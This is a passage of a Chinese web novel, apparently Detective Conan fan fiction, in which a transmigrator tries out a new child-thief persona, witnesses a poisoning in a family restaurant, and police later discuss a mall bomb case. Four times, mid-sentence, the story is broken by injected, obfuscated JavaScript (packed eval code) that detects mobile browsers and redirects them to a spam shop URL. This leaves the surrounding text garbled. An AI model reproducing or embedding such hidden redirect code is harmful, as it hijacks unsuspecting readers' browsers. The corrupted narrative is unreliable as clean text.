【咳。】它干咳了一声,语气迅速收敛,变得正经起来,【任务式,对,任务式。新马甲神偷已解锁,相关基础身份信息及技能已载入,具体请自行查看面板。该马甲与现有身份治安官、阴谋家可切换使用。那么,基础指引完毕——】 “等等。”夜神信再次打断它,“先别跑。” 系统顿住了。 【……还有什么事?】 夜神信没有立刻回答,而是点开了新马甲的详细信息页面。 【姓名:夜神透】 他看着那三个字,沉默了。 夜神透。 夜神信。 这名字放在一起,说不是亲戚谁信啊? 他继续往下看。 【身份背景:孤儿。】 夜神信盯着那个“孤儿”看了很久,很久。 ……打脸来的好像有点快。 他收回思绪,目光重新落回那个名字上。 “这名字又是随便找的两个谐音字吧?”他忍不住问系统,“治安官是,神偷也是——你就不能起个正常点的名字吗?” 系统沉默了一秒。 【……其实“透”这个字挺好的。】它的声音里带着一丝心虚,【你看,通透的透,透明的透,很有意境嘛。】 “那为什么非得姓夜神?” 【这个嘛……】系统打了个哈哈,【巧合,都是巧合。好啦好啦,新马甲解锁了快去试试吧,我还有别的穿越者要带,先走啦——】 话音未落,它消失得无影无踪。 夜神信:“……” 他叹了口气,关掉系统面板。 试试就试试吧,反正他本来也有这个打算。 他站起来,走回自己房间,关上门,躺在床上,把神偷这个马甲投放在居民区旁边的商业街。 闭上眼睛。 意识抽离的感觉再次袭来——这一次比以往更强烈一些,可能是因为新马甲刚刚解锁,系统需要重新建立连接。 等他再睁开眼时,映入眼帘的是一片陌生的环境。 不对。 不是陌生。 是很低。 非常低。 夜神信——现在应该叫夜神透了——打量了一下周围,然后愣住了。 这个视角,怎么这么矮? 他低头看了看自己的手,小小的,白白的,手指细长,但明显是小孩子的手。 他又低头看了看自己的身体,穿着一件黑色的斗篷,斗篷下面隐约能看见白色的绷带,从脖子一直缠到手腕,又从衣摆下面露出缠着绷带的小腿。 等等。 绷带? 夜神透下意识想要找面镜子,然而走路这个动作让他有点不适应,因为身体的平衡感和以前完全不一样,然后快步走向一个商店外的玻璃。 玻璃倒影里映出一个……小学生。 黑色短发,左边刘海长得遮住了半张脸。不仅如此,左边的眼睛上还缠着一圈绷带,从额头绕到脑后,把那只眼睛严严实实地遮住了。身上穿着黑色的斗篷,斗篷下面隐约能看见同样缠着绷带的身体。 整个人看起来就像刚从什么重伤事故里爬出来。 夜神透盯着玻璃倒影里的自己,愣了好几秒。 然后他慌了。 他抬起手,摸了摸那只被绷带缠着的左眼。 硬的,是绷带,不是眼罩。 他试着眨了眨眼,能感觉到那只眼睛还在,没有被挖掉,他松了口气,然后开始检查自己的身体。 他解开斗篷的扣子,把斗篷脱下来,露出缠满绷带的上半身。绷带缠得很紧,但不影响活动。他试着活动了一下肩膀、手臂、手腕——一切正常,没有任何疼痛或不适。 他又低头看了看腿上,同样缠着绷带,从大腿一直缠到脚踝。他原地跳了跳,蹦了蹦,做了几个伸展的动作。 完全没问题。 身体很健康,屁事没有。 夜神透站在镜子前,看着自己这副重伤员的造型,忽然明白了什么。 他伸手扯了扯左眼上的绷带,缠得很紧,但明显是故意缠的,不是真的受伤。他又扯了扯手臂上的绷带,同样是故意缠的,里面什么伤口都没有。 他盯着镜子里的自己,沉默了很久。 所以…… 神偷的身份设定,是一个喜欢缠绷带、穿斗篷、遮眼睛的中二病小学生? 这样感叹着,他对着玻璃倒影里的自己做了个鬼脸。 玻璃倒影里的那个小鬼也对他做了个鬼脸。 还行,至少表情挺灵活的。 啊等等,玻璃里那家咖啡厅的靠窗座位上,一个穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他试着往前走了一步,脚步轻得像踩在棉花上,没有任何声音。他又试着跑了两步,速度快得惊人,几乎是几个呼吸间就从小巷窜到了商业街并且又窜回来。 然后他解除虚化,身体重新变得凝实。 夜神透站在原地,喘着气,心跳得有点快。 不是因为累,是因为兴奋。 这个马甲,太强了。 隐匿、潜行、虚化——这根本不符合这个世界的世界观。 如果这个世界真的没有超能力,是个正常的世界的话……那夜神透觉得自己无敌了。 本来还觉得那个“傲慢”特质听起来有点中二,但仔细想想,如果真能做到“轻松在对峙中获取胜利”,那确实有傲慢的资本。 他又试了试单独用潜行,结果没成功,有些遗憾。 夜神透在小巷里又待了一会儿,反复试验这几个技能的效果。隐匿状态下的脚步声为零,潜行状态下的速度快得惊人,虚化状态下的无敌更是让他可以无视任何物理攻击——他试了一下,发现虚化的时候不可以穿墙。 更遗憾了。 从兴奋到失落的他深吸一口气,把系统面板关掉。 技能试完了,接下来该想想怎么用这个马甲了。 神偷这个身份,按照系统的说法,估计会和怪盗基德有关系。他没看过柯南,不知道怪盗基德是谁,但从名字和设定来看,应该也是个盗贼之类的角色。 如果是这样,那这个马甲的最佳用法,应该是去偷东西。 ……但是会不会有点太大材小用了? 而且如果是和怪盗基德有关系的话,“怪盗”这个身份不是更合适吗? 不过系统好像对模仿者了解不深的样子,不知道有怪盗也正常。 而且不知道为什么,一想到系统,夜神透会想起系统之前说的那句话——你可以和苏格兰走男妈妈和脆弱乖小孩路线。 他忍不住想象了一下那个画面: 苏格兰在安全屋里做饭,他穿着这身绷带斗篷坐在餐桌旁,乖巧地等着投喂。苏格兰问他:“小透,你的伤怎么样了?”他低着头,用脆弱的声音说:“还、还好……谢谢哥哥关心……” 夜神透打了个寒颤。 不行,绝对不行。 这个马甲绝对不能和苏格兰见面,太尴尬了。 14. 便利店杀人事件 夜神透站在小巷里,深吸一口气,又缓缓吐出。 身体已经适应了。 不得不说,神偷这个马甲的技能确实逆天。 但有个问题。 他一个人,操纵不了三个身体。 治安官那边虽然放假了,但人还在东京,万一有什么事需要出现,他得随时切回去。阴谋家那边虽然暂时没任务,但苏格兰不知道谁去调查任务还是去因为自己的私事出门了,估计过不了多久就会回来。 所以现在的情况是:三个马甲,一个意识,只能同时在线一个。 神偷是孤儿,无人在意,失踪几天也没人发现。但治安官和阴谋家不行——一个是需要定时上班的普通人,一个是被组织盯着的底层成员。这两个身份,任何一个长时间失联都会出问题。 他站在巷子里,盯着头顶的天空,脑子飞快地转着。 难得两个身份都闲着。 难得有时间专心处理一个新马甲。 不如—— 趁这个机会,把神偷的任务做完? 如果抽出一个神秘客马甲,那他就不用这么忙了。 他调出系统面板,找到神偷的任务列表。 【主线任务:在非隐蔽状态下淘汰非模仿者成员(0/1)】 夜神透盯着那行字,愣住了。 就这? 他眨了眨眼,又看了一遍。 没错,就一个。 不是十七个,不是二十六个,就一个。 夜神透有些不可置信。 未成年保护呢这是,就算有不准隐身的前置条件也未免太简单了吧? 纯送分啊! 尽管有些震惊,但夜神透盯着那个任务看了几秒,心情忽然变得很好。 简单好。 简单就意味着可以快速完成,快速抽下一个马甲,然后就可以找系统讨要托管或精分模式了 不过……在非隐蔽状态下淘汰一个非模仿者成员。 找谁呢? 夜神透一边想着,一边走出小巷。 阳光有点刺眼,他眯了眯眼,下意识往街边的阴影里靠了靠。 看来这个身份也不喜欢有光亮的环境,但夜神透判断神偷这个身份没有阴谋家那么讨厌光亮。 肚子忽然叫了一声。 他低头看了看自己缠着绷带的肚子,那里发出一阵咕噜噜的声音,隔着绷带都能听见。 饿了。 也对,从早上到现在,他就没正经吃过东西。治安官那边早上只吃了一个三明治,阴谋家那边是一点没吃,现在这个神偷的身体,大概也是空腹状态。 得先找点东西吃。 他抬头看了看四周。这条街是商业街,两边都是各种店铺——便利店、药妆店、服装店、还有几家看起来不错的餐厅。 他选了一家看起来最顺眼的,推门走进去。 是一家家庭餐厅。装修很温馨,暖黄色的灯光,木质的桌椅,墙上挂着各种可爱的装饰画。这个时间点店里人不多,只有三四桌客人,都在安静地吃饭。 夜神透找了个靠窗的位置坐下。 服务员走过来,递上菜单,职业性地笑了笑:“小朋友,想吃什么?” 夜神透接过菜单,目光扫过那些菜名和价格。 “蛋包饭。”他对服务员说,“再来一杯橙汁。” 服务员记下,点点头走了。 夜神透把菜单放回桌上,目光随意地扫过餐厅。暖黄色的灯光很舒服,空气里飘着食物的香气,几桌客人都在低声交谈,一切都很正常。 他靠在椅背上,忽然想起一件事。 这个身体的年龄是十一岁。 十一岁,一个人来家庭餐厅吃饭,应该不算太奇怪吧?他在这里生活的时候,也看见过几个小孩子会在放学后自己去便利店买点吃的。只要表现得自然一点,应该不会有人觉得不对劲。 等等。 他低头看了看自己这身造型——黑色斗篷,满身绷带,左眼还缠着一圈。 谁会不觉得不对劲啊! 夜神透扶额,在心里默默叹了口气。 算了,反正已经进来了,总不能现在站起来走吧?那更可疑。就当自己是那种喜欢角色扮演的中二病小学生好了,虽然这年头的小学生应该更喜欢玩游戏机而不是缠绷带。 他正想着这些有的没的,肚子又叫了一声。 好饿。 他往厨房的方向望了一眼,蛋包饭怎么还没好。 这样想着,他突然又想起来一件更重要的事情。 他没钱。 这个身体,这个刚解锁的马甲,身上一分钱都没有。 他下意识摸了摸口袋,空的。又摸了摸斗篷内侧,空的。 夜神透:“……” 要死。 怎么办? 现在站起来说“我突然不饿了”然后走出去? 假装在等人? 假装上厕所然后开隐匿偷跑? 好像可行,但为了这件事用隐匿总感觉有点大材小用。 难道就没有其他的解决办法了吗? 等等。 系统背包! 在思考解决办法的夜神透终于想起了正途,在脑海里调出系统面板,然后点击了背包。 【日元 x 1,350,000】 夜神透看着那个数字,瞬间安心。 除非这家店是个不要脸的顶级黑店,一粒米收两千日元,否则他是绝对付得起的。 系统背包里的钱自从治安官工作稳定后就一直没有怎么花过。 阴谋家那边也没有恶劣到把治安官赚的钱全花掉的程度——毕竟两个马甲的生活开销是分开的,夜神信那边有组织经费,不需要动这笔钱。 于是这些系统掉落的钱就一直在背包里躺着,令他差点就忘了还有这回事。 夜神透松了口气,靠在椅背上,看着窗外的街道,心情又好了一点。 一百三十五万。系统背包里的钱可以跨马甲通用,这意味着以后神偷这个没办法赚钱的身份不用为钱发愁了。 他正想着这些有的没的,旁边忽然传来一阵动静。 他转头看了一眼。 邻桌坐着一个穿西装的男人,四十多岁,戴着金丝边眼镜,看起来像个上班族。此刻他的双手猛地掐住自己的喉咙,脸色迅速变得青紫,眼睛瞪得老大,嘴巴张着,却发不出任何声音。 周围的客人还没反应过来发生了什么,那个男人已经整个人从椅子上滑下去,重重地摔在地上。 身体抽搐了两下,然后不动了。 店里安静了一秒。 然后有人尖叫起来。 “啊——!” “快叫救护车!” “死人了!” 夜神透坐在原地,有些震惊地看着那个倒下的男人。 中毒。 他脑海里闪过这两个字。 而且,死定了。 店里的客人都站了起来,有人往外跑,有人掏出手机打电话,有人远远地围着不敢靠近。服务员慌慌张张地从后厨跑出来,看见地上的男人,脸都白了。 混乱中,店门被推开。 “怎么了?出什么事了?” 夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305105|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神透循声望去,然后愣住了。 三个人站在门口。 一个卷毛戴墨镜,一个长发紫眼睛,还有一个—— 伊达航。 他的表弟。 那三个人显然是刚到这里,还搞不清楚状况。但他们的反应很快,几乎是瞬间,三个人就同时进入状态,目光扫过整个餐厅,最后落在地上的尸体上。 “让一让!”卷毛最先冲过去,蹲下来检查那个男人的状况。他摸了摸颈动脉,又翻了翻眼皮,然后抬起头,对另外两个人摇了摇头。 死了。 长发已经在维持秩序:“所有人都站在原地别动!我们是警察!谁也不许离开!” 伊达航则快步走向柜台,对服务员出示证件:“这家店的监控在哪?后厨在哪?带我进去看看。” 夜神透坐在窗边,看着这一切,心情复杂。 毕竟要是他还没有小小年纪老年痴呆的话,面前这三个人两小时前他还见过。 他们为什么会在这?这里离治安官工作的那个商场很远,他们逛街吃饭也不能逛到这里来吧?还是说真的只是恰好路过? 思考期间,伊达航已经从后厨出来了,脸色有些凝重。他走到松田阵平旁边,低声说了几句话,然后掏出手机开始报警。 而松田阵平点了点头,站起来,目光扫过店里的所有人。 夜神透感觉到他的目光在自己身上停了一下——大概是在打量这身奇怪的绷带造型——然后移开,落在旁边一个中年女人身上。 “您当时坐在哪里?”松田阵平走过去,语气很客气,“能麻烦您说一下刚才看到的情况吗?” 中年女人看着面前气质可怕的警察,犹豫一下,点点头,开始描述自己看到的经过。 萩原研二则在另一边询问服务员,关于那个男人的信息:是不是常客,刚才点过什么,有没有什么异常。 一切井然有序。 夜神透收回目光,低头看着桌上还没动过的水杯。 现在走的话,会不会显得很可疑?毕竟案发时在场的人,理论上都是证人,警察应该会挨个询问。但如果留下,等会儿被问到的时候,他该怎么回答?一个十一岁的小学生,一个人来吃饭,刚好目击了命案…… 等等。 他的蛋包饭。 夜神透抬头往厨房的方向看了一眼,正好看见一个厨师端着盘子走出来,四处张望着找谁点的餐。 “这边。”他举起手。 厨师走过来,把蛋包饭放在他面前,还附带了一小碗味增汤。 “请慢用。”厨师说完,又匆匆忙忙离开,大概是去看热闹了。 夜神透看着面前热气腾腾的蛋包饭,金黄的表皮上用番茄酱画着一个笑脸,旁边还配了几朵西兰花。 他沉默了两秒。 然后拿起勺子,挖了一口。 饿是真的饿,而且钱都花了,不吃浪费。 他一边吃,一边听着旁边的动静。松田阵平已经询问完那个中年女人,正在和萩原研二交换信息。两个人的声音压得很低,但夜神透的耳朵很灵——大概是神偷这个马甲自带的技能,就像治安官的身手很好一样。 “……他今天一个人来的,后厨厨师也说过今天没有陌生人过来。”松田阵平的声音。 “服务员说他刚才一直在正常吃饭,忽然就倒下了。”萩原研二的声音,“有可能是过敏?” “不像。”松田阵平顿了顿,“我刚才看了一眼,他的嘴唇和指甲都有点发紫。” “所以是……” “中毒。”松田阵平的声音很低,“等法医来吧。” 15. 便利店杀人事件 知道不远处的男人是因为中毒而死后,夜神透皱了皱眉。 他并不喜欢毒,这会让他联想到药剂师那个家伙,光是想到那个人可能给自己或者其他队友上过药,他就感到一阵厌烦。 药剂师。 侦探团里最让他恶心的人之一。 顺带一说,最恶心的是哨兵,其次是拳击手。 默默给心里讨厌的人排了个序的夜神透又挖了一勺蛋包饭送进嘴里,用力嚼了嚼,像是要把那种不适感一起咽下去。 不过幸好,他是神偷,不是侦探。破案是警察的事,他只是一个普通的小学生,等会儿吃完,付钱走人,继续琢磨他的任务。 这样想着,他的心情又舒畅了不少。 …… 五分钟后,他发现事情没那么简单。 伊达航从后厨出来了,脸色比进去的时候更凝重。他走到松田阵平和萩原研二旁边,低声说了几句话。三个人交换了一个眼神,然后同时看向一个方向。 角落里那桌,坐着一个穿格子衫的年轻男人。 那个年轻人正低着头玩手机,看起来很镇定,镇定得有点过分,有些演过头了。 “监控拍到了什么?”松田阵平问。 “什么也没拍到,”伊达航说,“但二号桌的人一直注意着死者,期间很多次都往那边看。” “你觉得他们认识吗?” “不好判断,”伊达航顿了顿,“但可以调查一下。” 萩原研二眯了眯眼,向服务员小姐问:“抱歉小姐,请问一下,二号桌的客人点的什么?” 服务员已经被吓得脸色发白,闻言哆嗦了一下:“他、他点的咖喱饭……和死者一样,都是咖喱饭……” “咖喱饭?”松田阵平皱眉,“那他们吃的是同一锅出来的?” 松田阵平之所以这样说,是因为大部分厨师会偷懒,收到同样的订单之后就多做一些。 他以前遇到一个案件,凶手是厨师的助手。 被害人一家人点了同样的叉烧面,厨师直接煮了一大锅,使七碗不同口味的面用的是一锅汤。 然后一个普通的投毒案变成了灭门惨案。 “应、应该是……今天中午点咖喱饭的只有他们两个人……” 三个警察对视一眼。 如果下毒是在后厨完成的,那么两份咖喱饭都可能有问题。但现在死者死了,那个年轻人却好好的—— “除非毒是下在餐具上的。”萩原研二说,“或者,下在只有死者会用到的东西上。” “比如调料?”伊达航的目光扫过每张桌子上的调料瓶。 死者桌上有一个用完的调料瓶——七味粉。那个年轻人桌上也有一个,看起来刚用过。 松田阵平走过去,拿起死者桌上的七味粉瓶,打开闻了闻,脸色一变。 “别碰!”他低声说,“是□□。” 萩原研二立刻反应过来,对服务员说:“后厨有一次性手套吗?还有证物袋——算了,先拿手套。” 接下来的半个小时,夜神透一边吃蛋包饭,一边围观了一场教科书级别的现场办案。 松田阵平仔细检查了那瓶七味粉,在瓶口边缘发现了微量的白色粉末。他用从后厨找来的干净筷子刮了一点下来,凑近闻了闻,然后得出结论:“确实是□□,苦杏仁味。虽然被辣椒粉盖住了一部分,但能尝出来。” 伊达航负责整理线索和调度——他让服务员把所有客人点的餐都留样封存,又联系了警署告知详细经过。同时,他逐一确认了在场所有人的身份信息,确保没有人趁乱离开。 萩原研二像是专门来打心理战的,走到那个年轻人面前,很客气地请他配合调查。那个年轻人一开始还装作无辜,但当萩原研二轻描淡写地说出他的作案手法时,他的脸色顿时绝望了。 “你从一开始就没打算瞒过去吧?”萩原研二的声音很温和,“换七味粉这个手法太明显了,监控稍微清楚一点就能拍到。但你还是要做——是因为恨到已经不在乎后果了?还是说,你觉得只要他死了,自己怎么样都无所谓?” 夜神透默默竖起耳朵。这家伙审问的方式还挺有意思,不像是警察在问犯人,倒像是在做心理咨询。不知道是天生擅长这个,还是专门训练过。 几分钟后,在警察的到来和松田阵平和萩原研二的双重询问下,那个年轻人终于崩溃了。 “是他先对不起我的!”他的声音发抖,眼眶发红,“那笔钱是我借给他的!说好三个月还,结果拖了两年!我老婆生病住院,我低声下气去求他,结果他说没钱就别治!” 他低着头,肩膀颤抖。 “我只是……我只是想让他也尝尝那种滋味……” 萩原研二叹了口气,语气复杂:“所以你就在他常用的七味粉里下了毒?” “我知道他吃咖喱饭必放七味粉。”那个年轻人说,“他每次来这家店都点咖喱饭,每次都放很多。我今天特意坐到他旁边那桌,趁去洗手间的时候,把下过毒的七味粉跟他桌上的换了……” 松田阵平皱眉:“你怎么保证他会用你换的那瓶?” “我把他原来的那瓶拿走了。”年轻人,抬起头,苦笑了一下,最后说道。 夜神透默默听着,手里的勺子停在半空。 所以这是一个借钱不还引发的悲剧。 那个男人贪污了别人的救命钱,然后被人用下毒的方式送上了绝路。 某种意义上,这也算是罪有应得? 但他很快摇了摇头,把这个念头甩出脑海。 这不是他该评判的事,作为模仿者,最不该说谁有罪的其实是他。 他可没有兴趣装作阴谋家那样伪善的性格,尽管那其实还挺方便的。 又过了一会儿,警署的支援到了。几个穿制服的警察走进来,开始正式勘察现场、收集证物、给嫌疑人戴上手铐。 那个年轻人被带走的时候,回头看了一眼死者的方向,眼神复杂得难以形容。 夜神透收回目光,把最后一口蛋包饭吃完。 该走了。 他正准备站起来去结账,余光瞥见萩原研二朝他走过来。 “小朋友。”在夜神透的注视下,萩原研二在他桌边停下,微微弯下腰,让自己的视线和他平齐,“吓到了吗?” 夜神透看着他,沉默了一秒。 萩原研二的眼睛是紫色的,很漂亮,此刻正带着一种温和的关切看着他。这种表情夜神透能判断,是大人对受惊的小孩子才会有的那种表情,温柔里带着一点小心翼翼。 但夜神透不是普通小孩,并且由于身份原因,他其实不喜欢面前这个人。 讨厌的同时又瞧不起。 真不知道烟火师为什么那么怕治安官和猎人。 明明她平时老是高高在上的,还总是要求自己和她打配合,一换三就沾沾自喜觉得自己了不起,平时嚣张得不行。 但一遇到治安官和猎人就怂了,像见了猫的老鼠。 神偷觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305106|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这纯粹是因为烟火师欺软怕硬。她敢对拳击手大呼小叫,敢把哨兵当白板,敢和送货同归于尽——但遇到真正厉害的对手,立刻变成缩头乌龟。 想着糟心事的夜神透压下心中的烦躁,虚情假意地夸奖道:“……还好,没想到你们这么容易就能盘出来。” 萩原研二沉默了一下,最后选择忽略面前小孩奇怪的发言,毕竟现在的孩子都早熟,看侦探剧看多了,说话带点奇怪的腔调也很正常,问道:“那就好。对了,你一个人来吃饭?家里人呢?” 夜神透:“……我一个人。” “一个人?”萩原研二挑了挑眉,“这么小就一个人出来吃饭?你爸妈放心吗?” 夜神透沉默。 他该怎么说?说“我没有爸妈”?那接下来肯定会被追问更多——住在哪里,有没有监护人,需不需要帮助…… 他正在脑子里飞快地编瞎话,旁边忽然传来伊达航的声音:“萩原,这边需要你确认一下。” 萩原研二回头应了一声,然后又看向夜神透,从口袋里掏出一张名片递过来。 “如果有需要帮助的地方,可以打这个电话。”他说,“警察哥哥随时都在。” 夜神透接过名片,低头看了一眼。 上面印着萩原研二的名字和警视厅的联系方式。 “……谢谢叔叔。”他不情不愿地说。 萩原研二嘴角抽搐了一下。 他今年才二十六,风华正茂,玉树临风,怎么看怎么年轻,换作不知道的人还以为他刚毕业,结果在这小孩嘴里直接升级成了“叔叔”。 他深吸一口气,告诉自己不要和小孩计较,然后很用力地揉了揉夜神透的头,隔着斗篷把那一头软毛揉得乱七八糟。 “不客气,小朋友。”萩原研二面带微笑,语气温和,完全看不出揉头的动作带着一点报复性质,“有困难一定要找警察叔叔哦。” 夜神透面无表情地目送他离开,然后默默把自己的头发按回去。 他不在意这个。真的不在意。只是有点想把刚才那句“谢谢叔叔”改成“谢谢大爷”。 他理了理自己的斗篷,走到柜台前,准备结账。服务员脸色还惨白着,看见他过来愣了一下,然后带着有些走神的表情地报了价格。 “一千一百円。” 夜神透点点头,心里默默感叹着还真是抢钱的同时把钱递给服务员,找零收好,转身往外走。 走到门口的时候,他突然想起了什么,回头看了一眼店里挂在墙上的时钟。 已经下午四点了,明显早就过了午餐时间。 夜神透:“……” 啊?已经过去这么久了吗? 他还是比较担心夜神信那边的,毕竟苏格兰什么时候回来是个未知数,他可不想阴谋家化身叫不醒的睡美人。 决定赶紧管一下阴谋家的夜神透收回目光,推门离开。 他刚走,松田阵平就打完一个电话,冲萩原研二说道:“今天上午那个案子的调查结果出来了。你不是很在意吗?要不要回去看看。” 萩原研二眼睛一亮。 正好他是真的想知道另外两个炸弹在哪,犯人到底还有没有同伙,又是谁拆了弹。 毕竟当时可是关乎到整个商场所有人的性命,他太想知道答案了。 “走。”萩原研二拍了拍松田阵平的肩膀,两人一起向门外走去。临出门前,他下意识地朝街道两端望了望,那个穿着斗篷的小小身影已经消失在人群里了。 16. 商场炸弹案的调查结果 警视厅。 萩原研二坐在办公桌前,手里拿着一份刚刚送来的技术报告,上面的内容让他的眉头越皱越紧,最后直接站了起来。 “这不可能。” 松田阵平从旁边探过头来,嘴里还叼着根没点的烟——自从上次在办公室点烟被佐藤美和子追着骂了三条走廊后,他就学乖了,只叼不点。 “怎么了?技术科又把你最爱的咖啡机弄坏了?” 技术科的人常年加班,咖啡因摄入量堪称警视厅之最。 据说上个月有个新人连续工作四十八小时后,抱着咖啡机一起晕倒在茶水间,从此“人和咖啡机共存亡”就成了技术科的非官方座右铭。 “四楼那个炸弹。”萩原研二选择性忽略了松田阵品的话,把报告递给他,“你记得吗?就是电玩城消防栓里那个。” 松田阵平接过报告,扫了一眼,原本懒散的表情瞬间凝固,脸色也变了。 “离线?被拆了?!” “对。”萩原研二摆摆手,又指了指报告上的专业术语,“不对——不是被拆除了,是离线。你看这里,有屏蔽装置在炸弹内部,干扰了信号。” 说实话,当他知道是四楼消防栓的炸弹离线时,他可比现在的松田阵平还要震惊。 脑子里转过好几个想法,如,班长的表哥是个天才几分钟的时间就能拆弹;班长的表哥是个疯子才几分钟不见就差点拉着全商场的人一起陪葬等。 直到看到后面才冷静下来,并且在心里默默为伊达航的表哥道了个歉。 其实这也不怪他,任谁看到这个都会多想的。 而松田阵平不知道离线的炸弹有人在附近,所以没有萩原研二想的那么多,听到这个消息后只是松了一口气,把烟从嘴边拿下来,在指间转了两圈:“幸好炸弹的□□还需要人工确定……等等,为什么会离线?这玩意儿不是独立电源吗?” 这正是整件事最诡异的地方。 “应该是有人远程操控。”萩原研二敲了敲桌子,思考着说道,“这种装置不可能没有独立电源。” 松田阵平也思考了一下,他擅长突发奇想的大脑一下子注意到了什么:“你看这份报告。” “屏蔽装置是内置的,作用是干扰外部信号。也就是说,如果有人试图用遥控器引爆炸弹,这个装置会让遥控信号失效。但同时——注意这里——信号消失会导致犯人以为炸弹被拆除,从而引爆其余四个炸弹。” 这是一个经典的双刃剑设计。 打个通俗的比方:这就像五个互相联网的摄像头,每个都在实时向主机发送“我还活着”的信号。 如果其中一个突然不发送了,主机就会认为这个摄像头被人为破坏,于是触发预设的报复程序——引爆其他四个。 “所以犯人的逻辑是……”萩原研二摸着下巴。 “要么全炸,要么一个都不炸。”松田阵平接过话头,“如果有人拆除其中一个,其他四个就会自动爆炸。但如果有人只是屏蔽了它的信号,让主机误以为它被拆了,同样会触发。” 萩原研二皱眉:“可问题是,这个屏蔽装置是谁启动的?犯人自己?他为什么要这么做?” “暂时不清楚。”松田阵平认真地思考了一会儿,最后还是摇头。 这时,另一个同事走过来,手里拿着一叠文件。 “萩原,你要的东西来了!” 按理来说,审讯记录不应该轻易拿给非办案人员看,但警察系统内部有时候也会互相通通气,有时候还能告诉侦探,更别说身为警察的人员更好地萩原研二了。 他接过文件,道了声谢,同事摆摆手就走了,临走前还顺走了他桌上的一颗奶糖。 萩原研二翻开文件,松田阵平也凑过来。 审讯记录很长,但萩原研二大致扫了几眼: 问:炸弹是从哪里来的? 答:网上买的。 问:网上?哪个网站? 答:不是普通网站,是暗网。有个专门做这个的卖家,什么都能买到。枪、炸药、炸弹,只要付得起钱。 问:你为什么要放炸弹? 答:我需要钱。有人出高价,让我制造混乱。 问:是谁? 答:不知道,匿名。 问:炸弹是谁设计的? 答:也是那个卖家。他把炸弹寄给我,还教我怎么安装。为了以防万一,我也学了一下怎么拆弹和控制炸弹——我很庆幸我学了这个,不然我就要被炸死了。 问:你学了多久? 答:大概……两个月吧。暗网上有人教这个,还有模拟软件,挺简单的。 问:你觉得这很简单? 答:比考驾照简单。 萩原研二的目光停在最后一行字上,脸色越来越奇怪。 这是哪里来的野生天才啊? 拆弹和控制炸弹是想学就能学会的吗?而且还是两个月? 心里默默吐槽完后,萩原研二把审讯记录合上,和松田阵平对视一眼。 松田阵平在看完审讯记录后也沉默了一秒,估计也是有什么想要吐槽的话。 但却突然像是想起了什么似的,突然皱眉,指着上面的一行字说:“这里不对劲。” 萩原研二看着松田阵平指的那一行字,立刻接话,冷静地分析道:“是炸弹的设置吧?确实很不简单。” “五个炸弹,互相联网,有反拆除逻辑——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305107|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是普通炸弹犯的手笔。如果是单纯想炸商场,弄几个定时炸弹就行了,干嘛搞这么复杂?” “而且,”松田阵平接过话头,“卖家如果真的想炸商场,在炸弹里留下什么远程操控装置就行,随时可以引爆。现在搞一个屏蔽装置让其中一个离线,来让其余炸弹爆炸——傻子才会这样做吧!” 这完完全全是多此一举的操作啊! 萩原研二点头:“看起来不像是想炸掉商场,应该另有目的。” 萩原研二说完这句话,推理到这里卡住了。 不信邪的他们又在这段时间里提出了很多可能性,但都被他们自己给一一否决,最后直到傍晚,他们两个也没讨论出什么所以然,最后只能无奈放弃,等待断案组的调查结果。 …… 与此同时,另一边的英国。 朗姆面无表情地盯着电脑屏幕。 邮件很短,内容他闭着眼睛都能背出来——又是一次下属战战兢兢地告知什么都没查到。 他已经记不清这是第几封了。 自从在日本什么都没查到后他就早有预料了,但Boss非要他来英国调查,他无奈也只好听从Boss的话。 他在飞机上的时候我就开始判断,觉得Boss不会无缘无故在意一个人,更不会指明哪个国家让自己去调查,那家伙应该在英国确实有什么问题。 于是郎姆来到英国两个月后,什么也没查到。 郎姆:“……” 早知如此,当初就不把那个家伙带进组织了。 这个念头刚冒出来,他又在心里默默打了个补丁——不,现在下结论还为时过早。 毕竟Boss那天说的每个字他记得清清楚楚。那种罕见的、几乎称得上愉悦的语气,说着“如果他真的没问题,那你可是大功一件”时的语气,都说明Boss对那个人寄予了某种郎姆无法理解的期待。 郎姆无法理解的同时也越来越担忧。 虽然现在查不到什么问题,好像一切都欣欣向荣、很好的样子,但问题是查不到问题的同时什么也查不到啊! 年龄未知,国籍未知,身份未知,连名字都不知道是不是真的。 不明摆着告诉别人他有问题吗? 